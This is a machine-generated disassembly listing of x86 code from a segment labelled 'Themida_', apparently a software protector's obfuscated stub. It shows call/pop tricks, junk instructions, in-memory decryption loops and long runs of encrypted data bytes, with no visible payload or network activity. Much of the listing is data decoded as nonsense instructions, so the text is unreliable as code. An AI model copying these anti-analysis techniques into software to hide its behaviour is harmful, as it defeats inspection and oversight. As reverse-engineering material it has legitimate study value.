		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C0C35141h, 2C8571C8h
		dd 0A19A0288h, 23F19D2Bh, 85C7060Fh, 60F2491h, 0
; ---------------------------------------------------------------------------
		mov	edi, 2FBBDB6Fh
		push	dword ptr [ebp+60F18C1h]
		mov	ebx, ecx
		call	dword ptr [ebp+60F2A05h]
		push	0
		push	esi
		call	sub_5BD936
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD936	proc near		; CODE XREF: Themida_:005BD92Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5BD936	endp

; ---------------------------------------------------------------------------
		or	al, 64h
		mov	esp, 0DBF0BAC6h
		xor	bh, 7Bh
		push	0
		call	dword ptr [ebp+60F3451h]
		mov	eax, eax
		jmp	short loc_5BD96B
; ---------------------------------------------------------------------------
		dd 3E2000EEh, 7DE923F2h, 0DC7047C1h
		db 21h,	0F2h, 7Ch
; ---------------------------------------------------------------------------


loc_5BD96B:				; CODE XREF: Themida_:005BD95Aj
		jmp	loc_5BD982
; ---------------------------------------------------------------------------
		dd 5CA75109h, 3	dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5BD982:				; CODE XREF: Themida_:loc_5BD96Bj
		jmp	loc_5BDED2
; ---------------------------------------------------------------------------
		db 10h
		dd 0A6C9DE79h, 3C5F74EFh, 0CFF2071Ah, 64879C87h, 0F314290Ch
		dd 0A0BBCF61h, 3813688Bh, 0CC570023h, 5BFE94B7h, 19CA7746h
		dd 66EE23DEh, 49496259h, 6DEE4016h, 0AF80C41Eh,	37ECD106h
		dd 5AFD93B6h, 9BBED275h, 2A0D6386h, 69CCA245h, 0A9B4E184h
		dd 5D9956C4h, 157049DDh, 0D19617CFh, 0FC5F35B2h, 16E192CFh
		dd 216D03E3h, 0A9D6EB6Ch, 6247E276h, 4E092CADh,	0F89BBED3h
		dd 155DE77h, 4F84391Eh,	99BAED1Ah, 7D200586h, 200355E6h
		dd 8B82BEEBh, 0FABB82E1h, 40E3C849h, 83260B16h,	5D684DD0h
		dd 61DAFB88h, 0BF9AF124h, 47F825DAh, 6D037DB0h,	8C51D287h
		dd 0E0B3E6FFh, 0BED9FC7Dh, 2E618EA3h, 577AFB66h, 94412601h
		dd 7E51A657h, 31E66D03h, 7DEB0FB0h, 0EC416D03h,	2592869Fh
		dd 8ECA4C0Fh, 0DF90500Ah, 6D03F118h, 1D3E6A1Fh,	0C75AFDABh
		dd 4EF51192h, 0DC000000h, 692C3D53h, 0BBDCC1F6h, 6D044E42h
		dd 35CC9BF0h, 4C0FF5E3h, 188h, 2536F00h, 0FE973A1Fh, 9ED17E63h
		dd 0CBEE6FCAh, 45B3988Bh, 15493F0h, 0A9DC091Eh,	0D0F374EFh
		dd 5D8A9FBAh, 0C3E4A21h, 56A8D477h, 0DEB5D8D6h,	60E1967Bh
		dd 1C3F5357h, 67C19437h, 26D0EF49h, 0EF32808h, 0E7E483C8h
		dd 80A3B893h, 0E5224FEAh, 366C334h, 36B76C6Dh, 79E4AE51h
		dd 93F03594h, 0F0C9E8Ah, 0C8EF4Ch, 75B20000h, 0C977DC39h
		dd 0A142A0C2h, 6D043456h, 8D1A8079h, 0EBAF7425h, 0B3EFDA3Fh
		dd 0F126B95Eh, 0D496770h, 48E6FB57h, 2245C632h,	5906EB4Eh
		dd 4D085126h, 338EDD2h,	0D46691Eh, 0F7782D12h, 0BA9F82D4h
		dd 0A1528F4Ch, 6D03C556h, 6B50D382h, 113DF2B6h,	86F8345Dh
		dd 420788A0h, 7FD2A625h, 44429CEh, 2C590E6Dh, 4447C7Bh
		dd 0C9FEB36Dh, 5EF991B4h, 0A3BED679h, 0A1823A76h, 0B3441A11h
		dd 1642D9C2h, 1E9F2001h, 0F695DA39h, 0F5CF92Fh,	64924Ch
		dd 53790000h, 0B2EF1C3Fh, 44DF601h, 0B8C416Dh, 5FD08326h
		dd 0C1012D08h, 0ED7C4C1Dh, 48E0C5FAh, 83D71473h, 8D3E7BA8h
		dd 6D03896Ah, 7A8F10C5h, 0E6791A4Dh, 2535C65h, 97BFF21Fh
		dd 71F2A78Ch, 4D8F6B8Ch, 489D6D04h, 2865A23Bh, 44E8077h
		dd 6102B76Dh, 6D044D96h, 7E6BECA1h, 4C0FF59Ah, 1D3h, 153BA00h
		dd 0C096391Eh, 0B2878065h, 0E17C16D5h, 399900CCh, 0FB9CCF0Ch
		dd 4E38BF70h, 4AFF6D04h, 13F39415h, 0B16B0B47h,	0C849D47Eh
		dd 0C76A4F04h, 80D2A8B1h, 0AE72F59Bh, 62477C0Fh, 406378ADh
		dd 92A0F2Ah, 66F4AEF4h,	7E4D1AEFh, 15384DE8h, 7CAFDC7Fh
		dd 0E1C647DAh, 0ABDBF834h, 0E6103642h, 0FE7FB4AFh, 0F9AA85DBh
		dd 66F4B3FEh, 224F8439h, 3BBCA7EFh, 0BCCB1056h,	0E9FE592Fh
		dd 5B1CFCh, 4B0D4046h, 0FD3B57D8h, 22000000h, 0B6E3EFAAh
		dd 0B581105h, 7AA75C6Bh, 73240D47h, 21560BF0h, 4218BBA0h
		dd 37B93EEFh, 0DB7E66F5h, 0DC2A7BAh, 6B8EA3D8h,	0C8053215h
		dd 0F537E017h, 32AB5766h, 0BA9FFB23h, 0CAAF3065h, 0B7AAEA1Dh
		dd 0DA7D1336h, 1D6AAFF5h, 889DB8CEh, 0C57D9Bh, 3FEE46h
		dd 0AAD50000h, 77B4E1F1h, 80AB913Bh, 4CCDC63Fh,	0FB952CABh
		dd 0E9CE8312h, 46B2FC8h, 1F6C41EDh, 315E7427h, 4DCE69FEh
		dd 0CD686F20h, 1ACF92FBh, 0F8FFB0EDh, 3F6D0431h, 17F4098Ah
		dd 68h,	0E3EFAA7Eh, 4AED83B6h, 8E91C265h, 5203659h, 84A65784h
		dd 0B36B0B45h, 0E07619FEh, 0D0033045h, 0F5189984h, 0B6D7BC9Fh
		dd 66F5433Ah, 0AC3B481Dh, 134673D6h, 44F9DE41h,	0B7E2AEC3h
		dd 9BBBEE1Bh, 53F7A388h, 893BACAh, 8EBB3C71h, 305BCDDh
		dd 0D9BE7365h, 20052036h, 0D355227h, 6819468Ch,	6AF8EF31h
		dd 333C5106h, 0B6E3EFAAh, 12639405h, 0FB2EDB6Bh, 0D225C659h
		dd 5D66EE23h, 50D385A8h, 9C81B66Bh, 1FD063F9h, 66EE23D8h
		dd 4875AA5Fh, 7729E80Ch, 95B8FE58h, 0C3785DC0h,	740A2D42h
		dd 74CBECD1h, 0A1319EDBh, 0DAB03F4Ch, 31476A7Fh, 0C6A50F1Fh
		dd 0DD771CE7h, 73A85D42h, 361B0650h, 0C4674C81h, 5A88D90h
		dd 0AF8AE152h, 0FBE015CAh, 3D223D58h, 2A0D6588h, 10E79845h
		dd 27105CB8h, 502F8472h, 54330881h, 589F508Dh, 0DF105CB8h
		dd 0F086A92Ah, 5975C25Eh, 83B8DD94h, 5304416Eh,	105C70A4h
		dd 0E3B3D68Bh, 86DCFF80h, 0DE11BEA3h, 0CC89ACB7h, 3F3D051h
		dd 5A000000h, 3E53CED7h, 0FD93361Bh, 81D2755Ah,	4116B99Eh
		dd 0A5E01E6h, 0D3A74A2Fh, 0A4F09378h, 6731D4B9h, 217417FCh
		dd 52F7593Eh, 0C281E289h, 4, 4EA81h, 14870000h,	3C895C24h
		dd 41206824h, 34890000h, 6B386824h, 4890000h, 4FB4BE24h
		dd 0BF57114Ch, 246C1E56h, 0DEEF814Fh, 811BFA47h, 9636C4F7h
		dd 92F7810Ah, 3173EBF6h, 0EE815FFEh, 5A2A2ED8h,	24048B54h
		dd 6804C483h, 7BAFh, 8F243489h,	34FF0840h, 0C4815824h
		dd 4, 5E2434FFh, 0E904C483h, 0FFF94EB6h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		cwde


loc_5BDED2:				; CODE XREF: Themida_:loc_5BD982j
		mov	eax, 6162F91h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0D9h
		dd 20437EB6h, 113A8D04h, 306C8A88h, 9F3D2DFCh, 9768BF56h
		dd 0B12C5D21h, 235A0A2Fh, 0F6405E8Fh, 0C44C4034h, 0B4793B9Fh
		dd 156254B1h, 867A1DC0h, 0E82F45DEh, 0Eh, 0DC7CE203h, 0C0625C8Dh
		dd 5194344Eh, 6E97065h,	4A000000h, 427B77ADh, 9CBA5F42h
		dd 815D63EEh, 6875C7h, 0FAFBB00h, 0FDBE38C0h, 0FF000019h
		dd 4BC28037h, 0CA8B6658h, 0AA23F081h, 870F6C27h, 5, 0D7BF0F53h
		dd 67C0815Bh, 0F633FA5h, 0C081D0BFh, 5AAC8987h,	12E9h
		dd 99ECAA00h, 0D5A8F051h, 37A2C50Ch, 0FF39F9C1h, 500E7143h
		dd 8FD3B70Fh, 52D18107h, 83286EBAh, 0F4E04EFh, 0FFFFAA85h
		dd 0A18D8DFFh, 6A061631h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 669BC351h, 0C34CDE81h
		dd 2C658D89h, 6A060Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 930AAFC3h, 9F7F42Dh, 0F7816602h
		dd 85C7FBA8h, 60F07C1h,	7288h, 23FD9D89h, 85C7060Fh, 60F2491h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5BE013
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE013	proc near		; CODE XREF: Themida_:005BE00Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5BE013	endp

; ---------------------------------------------------------------------------
		sub	eax, 0A55A167h
		mov	al, 71h
		push	dword ptr [ebp+60F1685h]
		xor	[ebp+60F0FE9h],	eax
		call	dword ptr [ebp+60F2A05h]
		push	0
		push	ebx
		call	sub_5BE047
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE047	proc near		; CODE XREF: Themida_:005BE03Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BE047	endp

; ---------------------------------------------------------------------------
		dec	eax
		dec	edi
		jl	short loc_5BE096
		leave
		shl	byte ptr [ebp+49h], 1
		cdq
		aam	80h
		fcom	dword ptr [edi+6Ah]
		add	bh, bh
		xchg	eax, ebp
		push	ecx
		xor	al, 0Fh
		push	es
		mov	eax, eax
		jmp	short loc_5BE0EC
; ---------------------------------------------------------------------------
		dd 297DC1D3h, 946FD55Dh, 0E6616122h, 2B12D040h,	462BEC3Ch
		dd 1AA9E1B8h, 0CB4DD57h, 0FE015C1Ah, 95F33FAFh
		db 0BCh, 81h
; ---------------------------------------------------------------------------


loc_5BE096:				; CODE XREF: Themida_:005BE059j
		push	7D3A2395h
		push	esp
		add	[esi+5683D64Dh], eax
		pop	edx
		test	[edi-35795B23h], eax
		cli
		inc	esp
; ---------------------------------------------------------------------------
		db 8Eh
		dd 98E090CFh, 0BC924DFh, 35E21251h, 59195690h, 1BEDDE23h
		dd 280E652Fh, 0DCD65C81h, 5189A2EFh, 0AD42BC80h, 0B26E13Fh
		dd 77C40754h, 0D943E788h, 111A3B97h, 0EF32E06Ah, 3BB3CCD8h
		dd 53139E76h
; ---------------------------------------------------------------------------


loc_5BE0EC:				; CODE XREF: Themida_:005BE06Ej
		call	sub_5BE0FA
		mov	eax, ds:0E11D4C94h
		adc	al, 32h
		sti
		lodsd

; =============== S U B	R O U T	I N E =======================================



sub_5BE0FA	proc near		; CODE XREF: Themida_:loc_5BE0ECp

; FUNCTION CHUNK AT 005BE219 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005BE311 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005BF87D SIZE 00000009 BYTES

		mov	edi, [ebp+60F1749h]
		pop	ecx
		jmp	loc_5BE110
; ---------------------------------------------------------------------------
		dw 0FD16h
		dd 0C863DCAAh, 0ABF85F9Ah
; ---------------------------------------------------------------------------


loc_5BE110:				; CODE XREF: sub_5BE0FA+7j
		add	ecx, 5CD1h
		push	1715h
		pusha
		mov	eax, [ebp+60F12A1h]
		mov	dx, 239Bh
		popa
		pop	eax


loc_5BE128:				; CODE XREF: sub_5BE0FA+6Cj
		mov	ebx, [ecx]
		sub	[ebp+60F2CC9h],	edi
		sub	ebx, 2D816A8Bh
		add	edi, 6F94018Ah
		xor	ebx, 3A04BD47h
		mov	[ebp+60F1E21h],	ecx
		sub	ebx, 4D6B04AAh
		movzx	edi, dx
		mov	[ecx], ebx
		sub	ecx, 32C52B8Fh
		mov	edx, [ebp+60F34B5h]
		add	ecx, 32C52B8Bh
		dec	eax
		jnz	loc_5BE128
		mov	edx, [ebp+60F266Dh]
		mov	byte ptr [ebp+60F24FDh], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+60F2CA1h]
		lea	eax, [ebp+61272E7h]
		call	eax
		lea	ecx, [ebp+60F3405h]
		push	ecx
		push	40h
		push	dword ptr [ebp+60F1B8Dh]
		push	dword ptr [ebp+60F33A9h]
		call	eax
		push	dword ptr [ebp+60F1B8Dh]
		push	dword ptr [ebp+60F33A9h]
		call	near ptr loc_5BE1B8+1
		aam	0B4h
		in	eax, 16h


loc_5BE1B8:				; CODE XREF: sub_5BE0FA+B5p
		jge	short loc_5BE219
sub_5BE0FA	endp ; sp-analysis failed

		pop	edi
		sub	edi, 4
		shr	dword ptr [esp], 2
		shl	dword ptr [esp], 2 ; CODE XREF:	sub_5BE0FA+125j
		add	edi, [esp]
		neg	dword ptr [esp]
		mov	eax, 0


loc_5BE1D1:				; CODE XREF: Themida_:loc_5BE20Fj
		mov	esi, [edi+eax]
		sub	esi, 3E80474Eh
		sub	esi, 35A987E4h
		xor	esi, 664F3550h
		push	esi
		pop	dword ptr [edi+eax]
		sub	eax, 137B0B86h
		add	eax, 137B0B82h
		cmp	eax, [esp]
		jnz	loc_5BE20F
		jmp	near ptr loc_5BE221+2
; ---------------------------------------------------------------------------
		dd 6EBA3CD9h, 0B5B91CDAh
; ---------------------------------------------------------------------------
		ja	short loc_5BE221
		cli


loc_5BE20F:				; CODE XREF: Themida_:005BE1F9j
		jmp	loc_5BE1D1
; ---------------------------------------------------------------------------
		jle	short loc_5BE282
		inc	ebx
		or	al, 7Bh
; START	OF FUNCTION CHUNK FOR sub_5BE0FA


loc_5BE219:				; CODE XREF: sub_5BE0FA:loc_5BE1B8j
		rcl	dword ptr [ebp+2Ah], 15h
		fcom	st(4)
		jo	short near ptr loc_5BE1C2+2


loc_5BE221:				; CODE XREF: Themida_:005BE20Cj
					; Themida_:005BE1FFj
		adc	eax, 59D8D1Bh
		sbb	eax, 38B060Fh
		or	eax, eax
		jz	loc_5BE23A
		mov	eax, [ebx]
		mov	ebx, [ebx+4]
		mov	[eax], ebx


loc_5BE23A:				; CODE XREF: sub_5BE0FA+133j
		mov	ecx, ecx
		jmp	loc_5BE311
; END OF FUNCTION CHUNK	FOR sub_5BE0FA
; ---------------------------------------------------------------------------
		call	dword ptr [ebx]
		jbe	short loc_5BE2A0
		xlat
		pushf
		inc	ebp
		retf	0C8C3h
; ---------------------------------------------------------------------------
		db 0E1h
		dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh
		dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h
		dd 99603A75h, 0BD329FB7h, 0B2E9B599h
; ---------------------------------------------------------------------------
		pushf
		movsd


loc_5BE282:				; CODE XREF: Themida_:005BE214j
		xchg	eax, edx
		repne mov ds:0EF7695ACh, eax
		mov	cl, 97h
		add	[esi-7], cl
		mov	ah, 0A5h


loc_5BE290:				; CODE XREF: Themida_:005BE2F5j
		lahf
		add	[ebx+ebp*2+7Bh], bl
		lock dec edx
		xchg	eax, edx
		mov	al, [eax]
		rcl	byte ptr [edx-0Dh], 1
		inc	ebp
		cmc
		push	ebx


loc_5BE2A0:				; CODE XREF: Themida_:005BE243j
		mul	byte ptr [ebx+44D6D979h]
		icebp
		scasd
		jecxz	short loc_5BE2EF
		hlt
; ---------------------------------------------------------------------------
		db 41h
		dd 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h
		dd 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h
		dd 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h
		dd 0F0A8CDh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5BE2EF:				; CODE XREF: Themida_:005BE2A8j
		add	[edi+74h], al
		popf
		adc	ah, bl
		loopne	loc_5BE290
		pop	esi
; ---------------------------------------------------------------------------
		dd 6 dup(0)
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BE0FA


loc_5BE311:				; CODE XREF: sub_5BE0FA+142j
		jmp	loc_5BF87D
; END OF FUNCTION CHUNK	FOR sub_5BE0FA
; ---------------------------------------------------------------------------
		push	616365Ah
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	616374Ah
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	616382Bh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6163994h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6163A1Dh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6163AE0h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6163B8Dh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6163C27h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6163CCBh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6163E5Bh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6163F6Bh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61640BBh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	61641ADh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	616433Ch
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6164484h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	616461Ch
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	616470Fh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		dd 153049h, 90A5B8DDh, 23382B6Dh, 0B4C95400h, 495EF991h
		dd 72069628h, 0C89FC2D7h, 6235586Dh, 0B1C7EAFFh, 5B28196h
		dd 0EE19A354h, 58958C66h, 0C8EB4E25h, 0F8AD928Dh, 3D536E77h
		dd 0FC92351Ah, 21784459h, 144784B1h, 41F6DB7Eh,	44E57A0h
		dd 0AA2BE06Dh, 750D407Dh, 0DAB051D2h, 5D6B0B55h, 59A2C3A8h
		dd 0C366F536h, 18E17Eh,	6D4600DAh, 5Eh,	0FE0D4954h, 5C5A8F82h
		dd 0ECF325F3h, 568B2E89h, 0F876292Ah, 0D55633B8h, 15429009h
		dd 7DCEA5D8h, 911247DAh, 0ADEAEF0h, 2BDC896Bh, 66F49ECCh
		dd 0F205B663h, 3D66F49Eh, 391E5388h, 0F49EE318h, 0BC9FF566h
		dd 6334D7h, 0C2A7BADDh,	3485E2B7h, 0AA731055h, 4600466Eh
		dd 0D3FFh, 3D53E600h, 0FE92351Ah, 0BDD3765Bh, 0BE316D9Ah
		dd 5EE4572Eh, 102B4164h, 7107AA8Fh, 0C520C1D6h,	936D038Dh
		dd 22455AFDh, 5704E94Ch, 9EE7124h, 83E02854h, 0F87E3867h
		dd 0ECEEAB77h, 379BC3Bh, 9E590A6Dh, 996D0379h, 366B20E4h
		dd 79BE5809h, 0D4106B0Ah, 0B4EDB662h, 3BFF80B8h, 7447186h
		dd 0F53BA156h, 0BEE19666h, 3C088994h, 9748755Dh, 6506CF1Ch
		dd 3669964Bh, 0CFF20722h, 86E0B2BBh, 515728D0h,	659ACF16h
		dd 494A35Ah, 1D7A5F8Eh,	12B6h, 5C71D4ADh, 0EC011C39h, 7F948FC9h
		dd 1025385Ch, 9DB295EDh, 65AEA7Ch, 94EB0E23h, 0DE799CB1h
		dd 750B2E43h, 41EEBDD2h, 0EE186790h, 0C0D9D066h, 71C3F53h
		dd 7EAB8EE4h, 2D12354Bh, 0D9E2F778h, 3AEBEFAAh,	6D044DBDh
		dd 5B88BD72h, 0CB25E21Eh, 0EDF5272Ch, 1CD3CB6Ch, 0F5AA6B0Bh
		dd 0E10CEF10h, 0CB1066F4h, 88B365BCh, 6AA74600h, 0ED7B7C2Dh
		dd 0FFB466F4h, 0F4EC995Eh, 68E99E66h, 0CA4Ch, 3D533300h
		dd 0A5BAED1Ah, 775CFF94h, 0F3A88DC2h, 96EA8D72h, 38ADCEB3h
		dd 306D044Ah, 0DF7A115Ah, 0FB1045FAh, 0C2A782D8h, 82AF2376h
		dd 9F203B4Fh, 4A55C172h, 84B76B0Bh, 0B4694ED1h,	0A5BA6F33h
		dd 0E512C0D9h, 6DD6434h, 73266265h, 101343C8h, 66F8B2E4h
		dd 994E332Eh, 6A1FE364h, 0D3760A3Dh, 64C79BBEh,	432D259h
		dd 126F548Eh, 11C6h, 4C61C49Dh,	0DCF16C29h, 6F849FB9h
		dd 15084Ch, 8DA285DDh, 364ADA6Ch, 84DBFE13h, 2E698CA1h
		dd 65FB1E33h, 31DEADC2h, 0EE177780h, 0B0C9C066h, 0FE253F53h
		dd 0BFA58F22h, 84C1EE23h, 35A24D3h, 0D5560B6Dh,	64C79DC0h
		dd 0AE49FA37h, 216D0359h, 470B8282h, 5409CD3Ah,	53B5BED3h
		dd 92351A3Dh, 31146BFCh, 4D62974Ch, 10F5682Ah, 0FC673063h
		dd 153F6217h, 1066890Ah, 7F312035h, 53697227h, 0DB9FDA03h
		dd 924370A5h, 6B0A975Ch, 8728DE93h, 947E8873h, 0C6F3DFBAh
		dd 6F854D89h, 5AA6BC98h, 4BF638D9h, 4B17986h, 7A33A453h
		dd 0A1D68B75h, 0A92970BCh, 220DCB7Ch, 0AF64738Ch, 1E394F82h
		dd 8A95BEF1h, 0BBD1F409h, 987DE0B2h, 0BDD172ECh, 0F62BD669h
		dd 153BB6C1h, 0C2A77F82h, 10E565h, 50EB7E00h, 0E27D183Bh
		dd 75E8AACDh, 6193D60h,	9FBACEF1h, 45D7698Ah, 0D2F50A2Dh
		dd 62859ABDh, 0F6192E31h, 0E1B0C560h, 16748334h, 0C4BB66EEh
		dd 1A3D53ABh, 34B0E935h, 9BC8FD60h, 0B5960EAh, 0D22D76Bh
		dd 4D7A5841h, 0FC42EA9Ch, 0B1C9FC64h, 0D9FCB196h, 5F23A4BFh
		dd 94A7DAAh, 8FB09516h,	6D044B6Ch, 51C6BB0h, 4C0FF213h
		dd 3F58h, 0EFAA3F00h, 9305B6E3h, 0DA6B0B01h, 92C5F825h
		dd 0AEE10E8Fh, 0C4657AE5h, 66F50239h, 3C0D6295h, 6E23081Bh
		dd 0FF95B839h, 583D186Eh, 0E416EA3h, 41F6DB46h,	0CF88ABC0h
		dd 37126F54h, 79000010h, 0B6E3EFAAh, 4E2FC879h,	53086D04h
		dd 25F4A5D2h, 0A6B127Ah, 9DF52855h, 0CF0C39BAh,	1A16E192h
		dd 742166EEh, 0EE1A34C3h, 1146FB66h, 34176D90h,	78B5F21Fh
		dd 0EE1A30C7h, 0B1520766h, 66EE1A46h, 0D0B24589h, 682C5B1Ah
		dd 790F32B3h, 0D4B9A4F0h, 1AFF5A31h, 0CEFB3065h, 8368FB9Bh
		dd 76ABB6E0h, 266310F5h, 0ED9D8275h, 77F8AD66h,	0B7E4EEABh
		dd 0FBCD6E06h, 0BBE89D64h, 1A354B7Eh, 3CA8E69h,	0BFF4A96Dh
		dd 0E2451B3Eh, 0B263A0CDh, 6D03CB45h, 91B435EAh, 3A1D72FBh
		dd 37732005h, 2A6666BFh, 9B67E84Eh, 0F6A7D4FEh,	6B0A6B40h
		dd 24B7C277h, 9E881535h, 0F7C5CB9h, 92E70000h, 0D67FA2B7h
		dd 4113364Bh, 0EEA6C9DEh, 273B5E73h, 3CCEEF04h,	5C71D4ACh
		dd 0F2072239h, 849984CFh, 1B300B61h, 9EE9F4Ch, 2E66EE15h
		dd 26D51E37h, 96D044Eh,	64154290h, 6B127C18h, 0A3D6A1Fh
		dd 8FBCD174h, 0A324075Ch, 224FEA80h, 99BCA7EFh,	0CD8267C2h
		dd 7E1B674Ch, 0C9EB2754h, 4BC15810h, 5895C243h,	6DEE7125h
		dd 0F4787ECCh, 0A90DB964h, 278834FFh, 0C75AFB1Eh, 0EDF82DE2h
		dd 8E036778h, 0F388E5CAh, 7000000Eh, 6293E19h, 9CBFD44Fh
		dd 2F5267FAh, 0C4E7FC67h, 537489ACh, 5B2FC1h, 98B3C8EBh
		dd 2C376083h, 0BB9EF417h, 792AD7A6h, 66EE147Eh,	53A9C2B9h
		dd 8671223Dh, 526D044Dh, 80351A3Dh, 75E210BCh, 4387C16Dh
		dd 4506E20Eh, 20CA940Dh, 0D6306EBh, 3BF8452Ah, 11B708FFh
		dd 20A12723h, 23F50C5Bh, 484C0F6Dh, 941h, 0E3EFAA2Fh, 7C8605B6h
		dd 2B686B12h, 0EE1B7D7Ah, 0DAFDB266h, 5D21A285h, 1AF8FFB0h
		dd 76D766EEh, 481B9F51h, 8738E5A9h, 66EDDF70h, 0A8DD12C7h
		dd 1732487Bh, 0AE89DF02h, 0DF53A8C9h, 0BDDC66EDh, 0E2B5E815h
		dd 20D1FE7Fh, 64F4EA2Ah, 4EEDF8ADh, 0C08E0398h,	0E307EDBh
		dd 5E330000h, 92C3E6FBh, 3D577A8Fh, 0AAEA0D22h,	0EB7FA2B7h
		dd 881A3B50h, 0B0C560F8h, 3E53F68Dh, 0D0E5781Bh, 5F74D7ADh
		dd 0C532E390h, 6A66EE13h, 16495A73h, 4C01E641h,	77D2A8CBh
		dd 0E0B2E592h, 62E3987Dh, 290E293Fh, 21F887DCh,	4C0FF1F7h
		dd 89474h, 26D55B00h, 96D044Eh,	64154290h, 6B127C67h, 659243F0h
		dd 6266EE1Bh, 6DA1D072h, 0A65B1F60h, 7B114471h,	88BDA0F2h
		dd 313A5073h, 6116FB66h, 9EFB472Ch, 50283146h, 265B10F5h
		dd 0EBD05303h, 23D40136h, 64F4E427h, 0D74A0BAEh, 0FD083DF2h
		dd 8E038244h, 8384E1C6h, 0E000000Dh, 7699AE89h,	0C2F44DFh
		dd 9FC2D74Ah, 34576CF7h, 0C3E4F95Ch, 70CB9F31h,	823385Bh
		dd 9C87D0F3h, 2B0E6487h, 0E99A4716h, 66EE130Eh,	53193229h
		dd 92351A3Dh, 277459FCh, 64FA2D6Ah, 4DD720C1h, 0AB606D04h
		dd 0FF06652Ah, 4C0FF119h, 7E852h, 0EFAA3900h, 0D105B6E3h
		dd 1C6B127Ch, 1348E379h, 0BB6CA9E6h, 66EE1B3Ch,	0EDB247F3h
		dd 4EE7C6BBh, 0C762F619h, 0EA4D2346h, 79DCB2D5h, 86887394h
		dd 0F2A766EDh, 4802B3E0h, 8F64F492h, 3074CFDAh,	0A98E8E03h
		dd 0CE94Ch, 44E77A00h, 0D6490C2Fh, 69F49EC1h, 0FA653154h
		dd 8BAEC2E5h, 31C35576h, 0C6E9FE59h, 5E8196B1h,	0F2152A35h
		dd 0D5A4B99Ch, 12807728h, 0C0B766EEh, 1A3D53A7h, 59FC9235h
		dd 0B5D22774h, 0FF1AC6Ch, 7674B04Ch, 359099EDh,	5297B334h
		dd 7E000007h, 46AE0D49h, 9894F83Fh, 34807617h, 0EAAF6D04h
		dd 93C85BFAh, 6308B566h, 3AF6B12h, 49F9DA18h, 6996CB2Eh
		dd 0F0052036h, 22D586C3h, 0D66EDC9h, 0DEB4D758h, 0C925D283h
		dd 550A66EDh, 0AAEF3B20h, 404AFB28h, 0F764F4CCh, 79763742h
		dd 7EC8E03h, 0C45AAh, 0F04B1E00h, 829DB8DBh, 15084A6Dh
		dd 0A6B9DD00h, 3F1A6E91h, 0E577092Ah, 7295AA8Dh, 2253A1Dh
		dd 96B9CE51h, 815065C0h, 11D423D4h
		dd 645B66EEh, 3A0D494Bh, 5FFAC34Fh, 90E6098Ah, 0E623D0B5h
		dd 350C235h, 37B86D6Dh,	0F6DB7E14h, 0CF1C6BB0h,	7FDAB0B9h
		dd 7B8E59Ah, 6D0350F0h,	305D9247h, 9AC75AFDh, 3510EE9h
		dd 0F374296Dh, 0F827F1DEh, 0B1444C0Eh, 7000001h, 0BBA083D4h
		dd 537C8506h, 92351A3Dh, 784459FCh, 4784B121h, 0F4D97C14h
		dd 6D1DBE3Fh, 0E86B0B55h, 64A14E33h, 0F53644B3h, 936EB66h
		dd 0F5359F58h, 62E39866h, 0F5363AC1h, 235E266h,	35EACF52h
		dd 8990EFB4h, 4600D98Fh, 4DDCh,	0B1629F00h, 66F53E46h
		dd 41193CF1h, 495C65E6h, 2E74216h, 9900CC4Dh, 0EB180B4Bh
		dd 44DBD3Ah, 88BD726Dh,	67F4AA5Bh, 964B6B0Bh, 0EBC804B1h
		dd 50ED7248h, 0E540183Bh, 29CA4B00h, 66F4E2D2h,	9F66054Ah
		dd 46008A79h, 0F2F2h, 3D53D900h, 7008692Ch, 0DB7DA0D5h
		dd 8B2E1348h, 0CC6F54F7h, 296693B6h, 57E6C6EDh,	0B15275B2h
		dd 6D041346h, 649344F1h, 0CB6D0413h, 7B60E116h,	92A782D8h
